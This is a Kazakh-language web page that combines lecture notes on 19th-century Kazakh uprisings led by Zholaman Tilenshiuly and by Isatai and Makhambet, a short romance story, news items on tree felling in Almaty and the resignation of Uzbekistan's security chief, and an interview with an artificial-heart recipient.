20-30-жылдары патша үкіметінің отарлық саясатына қарсы Кіші жүздегі наразылықты Жоламан Тіленшіұлы басқарды. Жер үшін, айырылған жайылымдар үшін күрес оның негізгі мазмұнына айналды. ХІХ ғ. 20-30-жылдары Жаңа Елек әскери шебінің құрылуы барысында 7-10 мың шаршы шақырымға дейінгі жер қазақтардан тартып алынды. Бұл жаңа шекара шебі Орынбор әскери-шекара шебінің бір бөлігі ретінде құрылды. Жаңа Елек шебі 29 форпост, редут, бекіністерден тұрды. Үкімет бұл жерлерге Орал, Орынбор орыс-казактарын, шаруаларды көшіріп әкеліп қоныстандырды. 1935 ж. тағы бір жаңа шептің салынуымен 12 мың шаңырақ қыпшақ және Жағалбайлы рулары жер сіз қалды. Табын руының жайылымдары Елек өзені ауданында орналасқан болатын. 1822 жылдан патша үкіметі қазақтарды Елек пен Орал арасындағы шұрайлы жайылымдарға өткізбеді.
Жоламанның әкесі Тіленші кезінде Сырымның жақтасы ретінде көтеріліске белсене қатысқан болатын. Ал Жоламанмен бірге көтеріліске Сырым Датұлының баласы Жүсіп те қатысты. Демек көтерілістер арасындағы ұрпақтар сабақтастығы сақталды. Жоламан да, Жүсіп те батырлардың, азаттық күресі көсемдерінің ұрпақтары ретінде олар бастаған күресті одан әрі жалғап әкетті.
Сонымен қатар, Жоламан Тіленшіұлымен бірге Табын руының батырлары Дәуіт Асауұлы, Алдаш Байғаниндер болды. Ал 1838 жылдың соңына қарай оған Шекті руының батыры Есет Көтібарұлы келіп қосылғандығы мұрағат деректерінен белгілі болып отыр. Жоламан батыр тархан атағы бар Табын руының басшысы бола жүріп, патша үкіметінің алдында қазақтардың құқын қорғауға кіріседі. Басында Орынбор губернаторы Эссенге 1822-1823 жылдары бірнеше рет хат жазып, әділеттілік орнатуын талап етеді. қазақтардың өмірлік қажеттілігі- жерін бейбіт түрде қайтарып ала алмайтындығына көзі жеткен соң қарулы күрес жолына түседі. Ол өзінің Ресеймен соғыс жүргізуінің себебін Елек өзені бойындағы шептің салынуынан деп түсіндіреді.
Орск-Троицк бекіністерінен Торғай өзеніне қарай ығысқан қазақ шаруалары жер тапшылығынан мейлінше қиыншылық көрді. 1835 жылға қарай Жоламан батырды қолдаушылар қатары өсіп, оны Табын, Тама, Жағалбайлы, Жаппас, Алшын, Арғын, қыпшақ рулары қолдай бастады. Орта жүзде Кенесары қасымұлы көтерілісі басталған кезде Жоламан оған көмекке ұмтылды. Сөйтіп, Кіші жүз бен Орта жүз күштерін біріктірушіге айналды. Ол қырға ішкерілеп еніп, Кенесары көтерілісіне қосылуға үндеді. Ал 1838 ж. Бөкей ордасындағы көтеріліс басшысы Исатай Тайманұлы мен Махамбет Өтемісұлы Кіші жүзге келген кезде көтеріліс одан әрі өрши түсті.
1838 ж. ортасына таман шекара шебінен Орск мен Троицкіге дейінгі аралықты көтеріліс оты шарпыды. Көтерілісшілер жаппай Торғай мен Ырғыз аудандарына көшіп кете бастады. Ол өз қол астына Ресей өктемдігіне қарсы 3 мыңға жуық сарбаздарды топтастыра алды. Жоламан батыр жасақтарын жоюға патшалық әкімшілік үш бағытта жасақтар шығарғанымен, батырды қолға түсіре алмады. Орта жүздегі Кенесары көтерілісінің Орынбор өлкесіне ауысуына байланысты жазалаушы күштер кейін қайтуға мәжбүр болды.
Кіші жүздегі Жоламан Тіленшіұлы батыр бастаған және Орта жүзде Ғұбайдолла хан, Қасым сұлтан мен оның балалары Саржан, Есенгелді,т.б. бастаған көтерілістер халық жадында ұзақ сақталған және тәуелсіздік жолындағы күрестер тарихынан өзіндік орын алар азаттық күресі.
Дәріс тақырыбы: Исатай Тайманұлы және Махамбет Өтемісұлы бастаған Ішкі (Бөкей) Ордадағы ұлт-азаттық көтеріліс
Дәрістің мақсаты: Бөкей хандығындағы отарлық және әлеуметтік-экономикалық саясатқа халық наразылығының туу себептерін ашу; Исатай мен Махамбет батырлар әлеуметтік теңдік мәселесін тұңғыш көтерушілер екенін көрсету.
Дәрістің негізгі сұрақтары:
1.Ішкі Орданың (Бөкей хандығы) құрылуы және Жәңгір хан реформалары.
2.Исатай мен Махамбет батырлар бастаған көтерілістің шығу себептері, негізгі кезеңдері, сипаты.
3.Тастөбе және Ақбұлақ түбіндегі ірі шайқастар нәтижелері
4.Көтерілісті рухтандырушы ақын, батыр Махамбет Өтемісұлының
ролі
5.Көтерілістің жеңілу себептері мен қорытынды-салдары
Көтерілістің ошағы болған Ішкі Орда немесе Бөкей хандығының саясиэкономикалық жағдайының, географиялық және тарихи жағдайларға байланысты өзгешелігі бар еді.
Еділ мен Жайық арасын, Каспий теңізінің солтүстігінен Ырғыз өзеніне дейінгі жазықтықты ХVІІІ ғ. бірнеше жыл Еділ қалмақтары мекендеді. Олардан бұрын да, олармен қатарлас та бұл далада қазақ рулары көшіп-қонып жүрді. Бертін келе патша өкіметі, Орал казак әскері басшылары қазақ ауылдарына Жайықтан өтуге әлденеше рет тыйым салып көрді. Ол үшін әскер күшін де қолданды. Бірақ оған қарамай жеке рулар, ауылдар көшіп келіп, қоныстанып жүрді. 1771 ж. Еділдің бойын мекендеген қалмақтар Жоңғарияға қарай көшіп, Еділ мен Жайық арасындағы дала босады.
Зерттеушілер Сырым қозғалысы мен қазақ билеушілерінің өзара қырқысулары өкімет тыйым салса да Оралдың арғы бетіне қазақ шаруаларының көптеп келуіне себеп болғанын атап көрсетеді.
Орал казак әскері қазақтарға маза бермеген соң, қоныстануға жоғарыдан ресми құжат қажет болды. 1801 ж. 11 наурызда патша Еділ мен Жайық арасын Бөкей сұлтанға қарауындағы елімен түгелдей жайлауға ресми рұқсат берді. Бұл хандықтың құрылуын патша шенеуніктері мен зерттеушілері ұлы ағзамның "қайырымдылығы" мен Бөкей сұлтан атына байланыстырып келеді. Шын мәнінде рұқсат беруге төмендегідей жайттар себеп болған сияқты. қазақтарды Жайықтан өткізбеуге тосқауыл қоя алмайтындығына өкіметтің көзі жетті. қалмақтардың көшіп кетуіне байланысты орнында қалған аз қалмақ-ноғайдың Жайық бойындағы орысказактармен бірігіп қонысты қорғауға күші жетпеді. Ал шеп бойына қазақтардың көптеп жиналуынан казактармен қақтығыстар жиілей түсті. Патша үкіметі Кіші жүзді бөлшектеп, "бөліп ал да билей бер" саясатын жүргізуді ойластырды.
Орда басында Сыртқы істер министрлігіне, кейіннен Мемлекеттік мүлік министрлігіне қарады. Патша жарлығында Бөкей қарамағындағы Еділ-Жайық арасындағы даланың солтүстікте қараөзен, Сарыөзендерден, оңтүстікте Каспий жағалауына дейін жайлауы көрсетілді. Бөкей билейтін қазақ рулары өз алдына хандық құрып "Кіші қайсақ ордасы" болып аталды. Жер көлемі 6 млн десятинаны құрады.
Әуелгі жылдары мал саны аз ауылдар Нарын құмында қараөзен, Сарыөзен бойында еркін көшіп жүрді. Бірте-бірте көшіп келушілер саны көбейіп, 1812 ж. 7500 үйге, 1814 ж. 8,5 мың үйге, 1828 ж. 10,3 мың үйге жетті. Сонымен жаңа хандық Ресей империясының қарамағына еніп, казак әскерінің қоршауында болды. Шығыстан - Орал әскері, солтүстіктен "Ішкі Орал", батысы - Астрахань казак әскерлерінің бақылауында болды. Қазақ шаруалары екі бірдей езгіге: феодалдық және отарлық қанауға түсті.
Көтерілістің алғышарттарының қалыптасуы. Бөкейдің заманында-ақ Бөкей ордасындағы елдің қонысы тарыла бастады. Жерге құныққан Орал әскербасылары 1813 ж. Бөкей ордасының солтүстігін түгел иемденіп, әскер линияларын көшіріп, қос өзен аралығындағы шұрайлы жайылымды қамыс-Самар көлдерімен қоса тартып алды. Тартып алған жерлерге бекет, форпостылар салып (Таловский, Абинский, Вербовский, т.б.), казак-орыстарды көшіріп әкелді. Жақсы қыстауларынан айырылған қазақтар күйзеліске ұшырап, елдің бірқатары бөкейліктерді тастап, бері өте бастады.
1815 ж. Бөкей қайтыс болады. Оның жас баласы Жәңгір (1801-1845) хан болып сайланады. 1823 жылға дейін елді Жәңгір жас болғандықтан, Бөкейдің інісі Шығай сұлтан биледі. Шығайдың заманында елдің қонысы едәуір тарылды. қазақ шаруалары жайылым, өзендер бойындағы бос жерлерді жайлауға, не суаттарды офицерлерден жалдап алуға мәжбүр болды. Орал әскері жерінің жайылымын, суатын жалдап алуға байлардың ғана мүмкіндігі болды. Шаруа арыздарын жергілікті патша әкімшілігі тыңдамады, дауды ылғи өз пайдасына шешіп отырды. қыста шеп тұрғындары шаруаларға пішендерін сатып, әрбір шана шөпті 6-20 сомға дейін қымбат бағамен өткізді.
Сөйтіп, сол кездегі патша офицерлерінің мойындауынша, қазақ шаруалары екі оттың ортасында қалды. Отарлық әкімшілік өз үстемдігін іске асырып, бұратана елге қысым-зорлық, озбырлық күш көрсетуі тоқталмады.
Сонымен жайылым, суат, орман, қыстауға қолайлы өңір мәселесі қазақ шаруалары үшін көкейтесті, шешілмес іс болып, олардың шаруашылық, тұрмыс жағдайын күйзелтіп, қайыршылыққа әкелді. Мұнымен шектелмей, Орал әскерінің атаманы қазақ шаруаларына егін салуға, жер үй салуға, ағаш шабуға, балық аулауға, көптеген сордан тұз алуға да тыйым салды. Отаршылдардың бір тобы басы губернатор Эссен, Сухтелен, Перовский болып қазақтардың егінмен шұғылданып, отырықшылануы мал шаруашылығының дамуына кедергі болады деп санады.
1836 ж. губернатор Перовский басшылығымен 550 казак жасағы құпия дайындалып, Бозащы және Адай ауылдарына "қарақшыларды жазалаймыз" деген сылтаумен шабуыл жасап, бейбіт елді үш апта бойы талады. Сөйтіп, олар 7 мың қой, мыңға тарта түйені айдап әкетеді. Патша әкімдеріне керегі екі халықтың еңбекші бұқарасын бір-біріне қарсы қойып, ұлт араздығын қоздыру, татар, башқұрт, қыпшақ, қарақалпақ, ноғай еңбекшілерін де патша офицерлері қазақтарға қарсы қойып, әдейі жер таласын тудырып, өзара шапқыншылық ұйымдастырып тұрды.
Жоғарыда айтылғандай қазақтардың Жайықтан әрлі-берлі өтіп, көшіп-қонып жүруі Оралдың әскери кеңсесі мен патша әкімшілігіне ұнамады. Олар Ішкі ордадан Кіші жүзге көшуге тыйым салып, арнайы билет жүйесі енгізілді. Бұл билеттен тек 1836 ж. 50 мың сом жиналып, Орынбордағы Неплюев әскери-офицерлік училищесін жарақтандырды.
1823 ж. 20 қарашада (кейбір деректер бойынша 22 маусымда) әкесінің тағына отырған Жәңгір хан (1823-1845) ең алдымен өзі шұрайлы жерді иемденіп, 400 мың десятина орманды, сулы, климаты жұмсақ жайылымды алды. Жәңгірдің 4274 жылқысы, 232 түйесі, 719 сиыры, 17097 қой-ешкісі бар еді. "Жәңгір Астрахань губернаторы Андреевский дегеннің қолында өседі. Орысша, арабша, парсыша жақсы тәрбие алды. Өткен замандағы арабтың салтанатты патшалары, орыстың Романынан шыққан патшалары Жәңгірге үлгі болды. қазақтың салты, қазақтың тұрмысы, әдеті, заңы туралы Жәңгірге тәрбиешілер, әрине, бір ауыз да айтқан жоқ. Жәңгір өзімшіл, патшашыл, орысшыл, діншіл болып, ел билеу туралы, қазақ жайын дым білмейтін болып шықты", - деп жазды 1925 ж. Халел Досмұхамедұлы.
Хан 1830 жылдан бастап патша өкіметімен келісе отырып, жерді жеке меншікке беруді кеңінен қолдана бастады. Құнарлы, сулы жерлерді сұлтан, қожалар, молдалар, байларға берген. Жәңгір шаруаларға алым-салықтың да неше бір түрін шығарып, жалпы санын 20-ға жеткізді делінеді: соғым, зекет, пітір, құшыр, Т.б. Жәңгір хан өзінің 12 биін ұстауға, хатшыларын, молдаларын, атшабар, тілмаштарын асырау үшін елден алым-салық жинаған.
Кіші жүз ХІХ ғасырдың 20-30-жылдары саяси бірлігі ыдыраған, шаруашылығы артта қалған ел еді. Қазақ билеушілерінің арасындағы қақтығыстар да жиілей түсті. Нұралының екінші баласы Қаратай 1809 ж. Кіші жүз билеушісі Жантөрені өлтірді. Осылайша, Кіші жүз Жантөре ханның (1805-1809) орнына хан сайлағанда екіге бөлінді. Әлімұлы рулары Айшуақұлы Шерғазыны (1812-1824) хан сайласа, Байұлы рулары Нұралы тұқымы қуатты Бөкейді (1812-1815) хан сайлады. Ал Жетіру екіге жарылды. Арғы бет, бергі бет болып екіге бөліну патша өкіметінің тілегіне сай келді. Патша өкіметі бұл өлкенің саяси-экономикалық жағынан күшеюіне жол бермеу үшін, қазақ хандығын одан әрі әлсірету мақсатында 1812 ж. Кіші жүзді екі хандыққа бөлді. Бұл бөлу Кіші жүзді одан әрі саяси әлсіздікке әкеліп, феодалдық қыр қысты күшейтті. 1824 ж. патша өкіметі Кіші жүздің Жайық өзенінен шығысқа, Торғайға дейінгі жерін тағы үш бөлікке бөліп, басына билеуші сүлтандарды қойды. Бұл - Батыс, Орта, Шығыс бөліктерін билеуші сұлтандар Ресей шекарасына жақын жерден мекен алып, орыс әскерінің қорғауына сүйеніп, елді биледі. Мысалы, Батыс бөлігін Баймағамбет Айшуақұлы сұлтан биледі, ал оның ставкасы мен билеуіндегі Үстірт, Маңғыстау арасы 800 км болды.
Елде саяси бірліктің, күшті өкімет болмауы салдарынан феодалдық соғыс күшейіп, бұл өне бойы елдің мазасын алып, шаруалардың бір жерге тұрақтанып қоныс тебуіне, шаруашылықпен шұғылдануына мүмкіншілік бермейтін. Феодалдардың өзара қырқысуы қазақ шаруалары үшін тағы бір басты қиындық болып тиді. Байлар мен сұлтандардың бірі мен бірінің жауласуы, елді ру-руға бөліп, шабыстыруы кеңінен өріс алды. Ру-рулардың ауылдары барымтамен кезек-кезек таланды. қыпшақ пен Арғындар, Шекті мен Шөміштінің арасындағы барымта шаруалар үшін ауыр болды. Сол секілді Жағалбайлы мен Тілеуқабақ, Шөмекей, Төртқара рулары арасындағы ұзақ жылға созылған талас-тартыстан көп адам өліп, мал-дүние талан-таражға ұшырады.
Сұлтан, билер, патша әкімдері руды айдап салып, араздастырып отырды, ру намысы, ауыл арын қорғау үшін қарапайым көшпелі шаруалар күшін пайдаланды. Тұрмыстан қысылған көшпелі шаруалар Орал, Орынбор казак әскерлеріне өтуге, аштан өлмес үшін христиан дінін қабылдап, аты-жөнін өзгертіп, біржола туған елінен қол үзуге де мәжбүр болды.
Көтерілістің дамуы, кезеңдері. Үстем тапқа қарсы бас көтеру, қарсылық білдіру стихиялы түрде жүрді. Осы уақытта Тайманұлы Исатай ел көзіне түседі. Ханнан, оның атасы Қарауылқожадан, төрелерден жәбір-жапа көргендердің бәрі Исатайға келіп шағынатын болады.
Исатай Беруш руының биі еді. Исатайдың 25 жылдай жайлап келген Қиғаш, Күйген өзендері өңіріндегі қонысын орыс шаруаларына тартып әперген. Махамбеттің:
Еділ үшін егестік,
Жайық үшін жандастық
Қиғаш үшін қандастық, Тептер үшін тебістік, -
деуі осы күйігін білдіреді. Езілген шаруалар мұндай аз да болса мемлекет, өлкені басқарудан хабары бар, 20 жылдай би болған, 3 рет ұсталып, екі рет қамауда жатып көрген Исатайды көтеріліс басшысына сайлайды. Исатай сауатсыз болса да сөзге шебер, әрі алғыр, батыр адам болған. Ел ішінде беделі зор еді.
1835 ж. Исатай ханға қарсы ашық күреске шығады. Шаруалар арасында үгіт таратып, хан әміріне бағынбауға шақырады. Байлар мен билерден зорлық көрген шаруалар бір-бірлеп, тіпті тобымен кейде ауыл болып келіп оған қосыла бастайды.
Көтерілістің басталу себептері:
1) Бөкей ордасындағы қауымдық жерлерді ірі орыс помещиктері Юсупов пен Безбородко және хан туыстарының иеленіп алуы нәтижесіндегі жер тапшылығы;
2) Жәңгір хан өзінің қайын атасы қарауылқожа Бабажанұлын Каспий теңізі өңіріндегі қазақ руларына билеуші етіп тағайындауы;
3) Алым-салықтың өсуі, бұқара шағымдарының қаралмауы, халық мүддесімен
санаспауы.
Көтеріліс 3 кезеңнен тұрады:
1) 1833-1836 жж. - көтерілістің алғышарттарының қалыптасуы;
1) 1837 жыл - көтерілістің етек алған кезеңі, патша үкіметі күштерімен қақтығыстар;
2) 1838 жылғы шілдеге дейін көтерілісшілер күшінің әлсіреп жеңілуі.
Көтерілістің қозғаушы күші - қатардағы қарапайым малшы-шаруалар, сонымен
қатар, оған ру ақсақалдары, старшындар, билер қатысты. Исатай төңірегінде көбінесе ру старшындары басым болды.
Беріш руы, Жайық бөлімінің старшыны, Исатайдың жауынгер серігі, белгілі ақын Махамбет Өтемісұлы да беріш руының Исатай сияқты старшыны болды. Орысша да, ана тілінде де сауатты Махамбет Орынбор әкімшілігі мен қазақ арасында белгілі еді. Алғашқыда Жәңгір сарайында жүрген кезінде-ақ халықтың ауыр тұрмысы ақынды бей-жай қалдырмады. "Хан емессің, қасқырсың", "Жәңгір қолшоқпары Баймағамбет сұлтан ға айтқаны", Т.б. осы сияқты өлеңдерден көтерілістің мақсаты мен талаптарын көруге болады.
Каталог: ebook -> umkd
umkd -> Ќазаќстан республикасыныњ білім жєне ѓылым министірлігі
umkd -> Ќазаќстан Республикасы Білім жєне ѓылым министрлігі
umkd -> Бағдарламасы «Мектептегі атыс дайындығы»
umkd -> «Кәсіптік қазақ тілі» ПӘнінің ОҚУ-Әдістемелік кешені
umkd -> Ќазаќстан республикасыныѕ білім жјне єылым министірлігі
umkd -> Ќазаќстан республикасы
umkd -> «Инженерлік-технологиялыќ факультеттіњ»
umkd -> Ќазаќстан республикасыныњ білім жєне ѓылым министрлігі
umkd -> «Таңдап алған спорт түрінің техникалық, тактикалық және дене дайындығы» пәні бойынша
umkd -> Пәннің оқу-әдістемелік кешені «Спорттық ойындар оқыту әдістемесімен» 5В010800 «Дене шынықтыру және спорт» |
Сізді жақсы көрем-бұл бірақ мендегі қателік! Жақсы көру ол-сол адамға жүрегіңді ашу, сол жан үшін барыңды беруге дайын болуың,оны сыйлауың, мейлі ол тіпті сенің намысыңды аяқ асты етсе де сен оны сыйлап тұруың,оның жетістігіне қуануың,оның сәтсіздіктеріне мұңайып,сол жан үшін жаратқаннан дұға сұрауың,ол тіпті,адам аяғы баспайтын жаққа кетсе де,сен онымен бірге баруға дайын боласың,саған қатысы болмаса да,бір сол үшін оның бүкіл өмірінде кездесетін жандардың амандығын тілейсің,міне,бұл -жақсы көру деп аталады!Жай ғана жақсы көру емес,жаныңмен,жүрегіңмен жақсы көру.
Ол екеуі бір-бірін ұзақ уақыттан бері таныса да,бір-бірлері жайлы көп ақпараттарды білмейтін.Былтырғы жылдың қыс айынан бері жақынырақ танысуды жөн санады. Әлеуметтік желі арқылы сөйлесіп жүрген Аяжан мен Арман Алматының көрікті мекендерінің бірі-Медеуде кездесетін болып келісті. Аяжанның жүрегі бұрынғы соғысынан ерекше,жиілетіп соққаны соншалық сағаттың сыбдырынан басып озардай.Кездесу уақыты жақындаған сайын қобалжу мен қолдарының дірілі кедергі жасауда. Киімдері мен әтірлері салынған жиһазды қайта-қайта ашып,әрқайсысын бір көріп, таңдай алмай ұзақ жүрді.Арман да кездесу уақытына үлгеруге асыққандай,жылдамдықты асыра көлігін жүргізіп келеді.Кездесу уақыты да өз мәресіне жетті. Аяжанның әдемі көздері айналаны нұрландырды. Арман ізеттілікпен амандасып,қызға сыйлығын ұсынды. Ұялып кеткен Аяжанның екі беті қызарып кетті,мұны түсінген Арман жайсыздықтан шығару үшін көлікке мінуді ұсынды.
Көлікте отырған екі жастың арасында бастапқыда өте үлкен ауқымды әңгіме өрби қойған жоқ,үнсіздік орын алды.Уақыт жылжыған сайын, қызықты әңгімелер айтып,екеуінің де жүздеріне күлкі ұялады. Осылайша әсем мекен Медеуге де жетті. Бүгінгі күн екеуі үшін қызықты әңгімелесу күні ретінде есте қалды.
Осылайша арада күндер,айлар өтті.Аяжан Арманға ғашық болып қалғанын түсінді.Үнемі оған құрмет көрсетумен,өзінен оны жоғары қоюды әдетке айналдырды.Осылайша, Аяжан өзі жайлы ойлауды да ұмытып кеткен сияқты.Осы уақытқа дейін Арманға ұнау үшін,соның көңілін табу үшін, сол үшін ғана өмір сүріп келгендей. Күндер өте, айлар өте Аяжан өзінің бұл әрекетінен қатты жалықты себебі, оның қалаулары орындалмай барады,өзінің қалауын қанша орындағысы келгенімен де жүректегі махаббаты, жо-жоқ тәуелді махаббаты үнемі Арманды жоғары қоюға әрекет жасайтындай.
Міне, Аяжанның шыдамы шегіне жетті.Өзінің қалаулары, өзінің мақсаттары жайлы Арманға айта бастады.
-Арман, өтінемін біздің сезімдер екі жақты, мен сені жақсы көретінімді білесің,бірақ сенің көзіңнен ондай әрекет байқалмайды
-Қойшы жаным, қайта бастамашы
-Үнемі осылай,мен өз ойымды білдірсем сіз осылай қойшы деумен тоқтатып қоясыз бәрін.Мені не үшін ойламайсыз?Менің де жүрегім бар.Бар болатын болсақ бар болайық немесе бәрін бітірейік.Менің де уақытым жоқ,сізге барлығын арнап жүретін!-деп Аяжан бар даусымен айқайлап жіберді.
-Енді не нейсің маған?,-деген сөзді Арманнан шығатынын күтпеген Аяжан көліктен түсіп кетіп қалды. Арман да оны тоқтатқан жоқ. Қыздың жүрегі мұндай қаталдыққа шыдамады, көз жасына ерік берді. Арада бірнеше күндер өтті. Қыз да жігіт те бір-біріне хабарласпады.Осылайша бірін-бірі танымайтын достарға айналды. Қыз жақсы көрсе де,ойласа да, онсыз өмір сүруге болмайды деп санаса да- өзін бақытты болуға лайықпын деп санады.Бақыт үшін-ашылған жүрегін,қайта жапты.Жақсы көрген сезімдерді сөндірді. |
Алматыдағы «Sulpak» сауда үйінің маңайындағы жасыл желекті ағаштар түгелдей қырқылды. Бұған алаңдаған Алматы халқы бірден наразылық білдірді. Тіпті мәселеге Президент Қасым-Жомарт Тоқаевтың өзі араласып, қала басшысы Сағынтаевқа мәселені анықтап, кінәлі тараптың заң алдында жауап беруін қадағалауды талап етті.
Бұл оқиға өткен жылдың қараша айында болған еді. Бүгін осы іске қатысты сот үкімі шықты, деп хабарлайды "Экспресс К"
Алмалы аудандық соты "Қызыл кітапқа" енген ағаштарды кесу бойынша айыпталған дизайнер Жанна Нұртаеваны Қылмыстық кодексінің 339-бабы 1-бөлігі бойынша кінәлі деп танып, 55-баптың 4-бөлігін қолдана отырып, 1500 айлық есептік көрсеткіш мөлшерінде, яғни 4 млн 167 мың теңге сомасында айыппұл түрінде жаза тағайындады. Осы мәселеге байланысты, алдыңғы сот отырысында прокурор соттан айыпталушыны 4 жылға дейін бас бостандығынан айыруды сұраған еді.
facebook.com
Бүгін үкім шығарған судья дизайнердің кәмелет жасқа толмаған балалары барын және жазаны ауырлататын жағдайдың жоқтығын ескеріп, осындай жаза тағайындады.
Өткен жылғы қарашадан бері істі тексерген Алматы қалалық жасыл экономика басқармасы сауда үйінің алдындағы ағаштардың жаппай кесілуіне осы "Сакура" мердігер компаниясының дизайнері Жанна Нұртаева кінәлі екені анықтаған. Себебі, жұмысшыларға ағаштарды кесуге тапсырманы осы ханым берген. |
Өзбекстан Ұлттық қауіпсіздік қызметінің (ҰҚҚ) төрағасы, генерал-полковник Рустам Иноятов отставкаға кетті деп хабарлады Өзбекстан үкіметіндегі дербес екі дерек көзіне сілтеме жасаған Азаттықтың Өзбек редакциясы. Дерек көзінің айтуынша, Иноятовтың қызметінен босатылғанын президент Шавкат Мирзияев 31 қаңтар күні ҰҚҚ мен Бас прокуратура қызметкерлері қатысқан селекторлық жиналыста жариялаған.
ҰҚҚ-ны 23 жылға жуық уақыт басқарған 73 жастағы Рустам Иноятовтың орнына осыған дейін бас прокурор қызметін атқарған Ихтиер Абдуллаев тағайындалды.
52 жастағы Ихтиер Абдуллаев 2015 жылдың 21 сәуірінен бері Өзбекстан бас прокуроры қызметін атқарған. Ал Абдуллаевтың орнына бас прокурор болып бұған дейін президенттің мемлекеттік кеңесшісі болған Отабек Муродов тағайындалды.
Өзбекстан үкіметіндегі бірнеше дереккөзі мен үкіметке жақын адамдардың Азаттыққа айтуына қарағанда, Иноятов отставкаға кету туралы президентке 25 қаңтарда өтініш білдірген.
Өзбекстан үкіметіндегі жоғары шенді шенеунік президент Шавкат Мирзияев Қашқадария облысына сапары алдында Рустам Иноятовпен төрт сағат әңгімелескенін айтады.
Рустам Иноятов экс-президент Ислам Каримов 2016 жылы қайтыс болғаннан бері қызметінен ауыстырылмаған жоғары шенді аз ғана шенеуніктің бірі болған еді. Иноятов басқарған 23 жылға жуық уақытта Ұлттық қауіпсіздік қызметі Өзбекстандағы ең жабық және құзыреті жоғары құрылым болды.
Президент Шавкат Мирзияев 2017 жылы 22 желтоқсанда парламенттің қос палатасына арнаған жолдауында Өзбекстанның құқық қорғау және күш құрылымдарын, әсіресе арнайы қызметті сынаған.
Мирзияев жолдауында ҰҚҚ-ның құқықтық статусын, мемлекетті ішкі және сыртқы қауіп-қатерден қорғаудағы қызметін, міндеті мен құзыретін анықтайтын «Ұлттық қауіпсіздік қызметі туралы» заң қабылдауды ұсынған.
Жаңалықтар
BBC мен "Медиазона" Украинадағы соғыста он мың ресейлік жауынгердің қазасын растады
Бельгияда Еуропарламент жетекшісінің орынбасары жемқорлық күдігімен ұсталды
Украинадағы соғысқа қарсылық білдіріп, қанды оқиғаларды тергеуді талап етпек болған белсендінің өтініші орындалмады |
«Жасанды жүректі ағзам бірден қабылдады»: екі рет жүрек алмастырған жігіттің хикаясы: 28 ақпан 2022, 11:16 - жаңалықтар Alashainasy.kz
Басты Алаш-ақпарат Ел жаңалықтары
«Жасанды жүректі ағзам бірден қабылдады»: екі рет жүрек алмастырған жігіттің хикаясы
28 ақпан 2022, 11:16
Статистикалық мәліметтерге сүйенсек, әлем бойынша жарты миллионнан астам адам жүрек трансплантациясына мұқтаж. Басты проблема – донор табу. Ағза алмастыру арқылы дүние есігін қайта ашқан санаулы жандардың бірі - Петропавл қаласының тұрғыны Алексей Чабан. Оған 4 жыл бұрын Нұр-Сұлтан қаласындағы ұлттық ғылыми кардиохирургия орталығында екі күрделі ота жасалды. Бірінші рет науқасқа жүректің орнына биопротез қойылған болатын. Ал 5 айдан кейін ол донорлық жүрекке алмастырылды. Ағзасын ауыстырған адамның өмірі қалай өзгереді? Azattyq Rýhy тілшісі Алексей Чабанмен сұхбаттасқан еді.
- Алексей, Сізге не себепті жүрек алмастыру қажет болды?
- Мен туабітті жүрек ақауы кардиомиопатияға шалдыққан едім. Бұл дерт анамнан берілсе керек. Оған да 2016 жылы ота жасалып, жүрегі ауыстырылды. Қазір жағдайы жақсы. Менің 32 жасқа дейін денсаулығыма ешқандай шағымым болған жоқ. Барлық адамдар секілді қалыпты өмір сүрдім. Дәрігерлер тыйымына қарамастан спортпен шұғылданып жүрдім. Тіпті жоспарлы медициналық қараудан өтуім керек болса да, емханаға аттап баспайтынмын. Себебі ауруымды мойындағым келген жоқ. Өзімді дені сау адам ретінде сезінгім келді. Әрі өмірімді спортсыз елестете алмаймын. Бірақ кардиомиопатия жеңіл-желпі сырқат емес. Ауруым өмірімнің ең жауапты сәтінде алқымнан алды. Үйленіп, той жасағаннан кейін екінші күні ұшып түстім. Ауруханадан бірақ шықтым. Одан кейін мені дәрігерлер астанадағы кардиохирургиялық орталыққа жеткізді. Бұл менің жүрек алмастыруға жасаған алғашқы қадамым екенін сол кезде білген жоқпын.
- Жүрек – адамның ең маңызды органдарының бірі. Оны алмастыру жөнінде сөз қозғалғанда бойыңызда үрей болды ма?
- Әрине. Бойымды үрей биледі. Енді осының бәрін бастан кешірген адам ретінде айтатыным – ағза ауыстырудан қорықпау керек. Себебі ол ауыр дертке шалдыққан адамның өмір сүру сапасын жақсартатын жалғыз жол. Мен республикалық кардиохоиургиялық орталыққа түскеннен кейін ертеңінде дәрігерлер ағза алмастыруды ұсынды. Мен бұл жаңалықты қабылдай алмадым, ол мені есеңгіретіп тастады. Ойланбастан бірден бас тарттым. Дегенмен дәрігерлер мені кезекке қойды. Жүрек алмастыруда адамның қан тобы, резус-фактор тіпті салмағына дейін есепке алынады. Осы көрсеткіштердің барлығы донормен сәйкес келу керек. Ағза табылған сәтте жағдайы ең ауыр адамға бірінші кезек беріледі. Мен біраз емделіп, үйге келдім. Енді бұрынғы өмір салтыма оралу мүмкін емес еді. Жүйелі түрде ауруханаға жатып, үнемі дәрі-дәрмек қабылдап жүру қажет болды. Дегенмен жұмысымды істеп жүрдім. Күш-қуатым тез таусылып қалатын. Өзімді қартайған адамдай сезіне бастадым. Спортты ұмытуға тура келді. Сатымен көтерілудің өзі қиын еді.
Елордалық дәрігерлер жүректің сол жақ қарыншасына қан айналымын жақсартатын қосымша аппарат қоюды ұсынды. Бірақ үйде шұғыл түрде шешуін талап ететін мәселелер пайда болды. Ал операция кейінге қалдырылды. Бірақ кейін ота қажет емес болып қалды. Себебі жүректің оң қарыншасы да жарамсыз күйге түскен. Жүрегім үздіксіз үлкейе бастады. Дәрігерлер мені жасанды жүрек қана құтқаратынын айтты. Амалсыз келістім.
- Жасанды жүректің ерекшелігі неде? Онымен қанша уақыт жүрдіңіз?
- 2017 жылы Ұлттық ғылыми кардиохирургия орталығы ауыр жүрек ақауы бар пациенттерде жасанды жүректі зерттеу жөніндегі халықаралық жобаға енді. Оған Қазақстанмен қатар Еуропа елдері – Франция, Дания, Чехия қатысты. CARMAT – француз ғалымдарының жасап шығарған өнімі. Параметрлері бойынша адам жүрегінің физиологиялық параметрлеріне жақын. Маған жасанды жүректі имплантациялау бойынша алғашқы операцияны Нұр-Сұлтан қаласының кардиохирургия орталығының командасы 2017 жылдың 19 қазанында жасады және ол сәтті өтті.
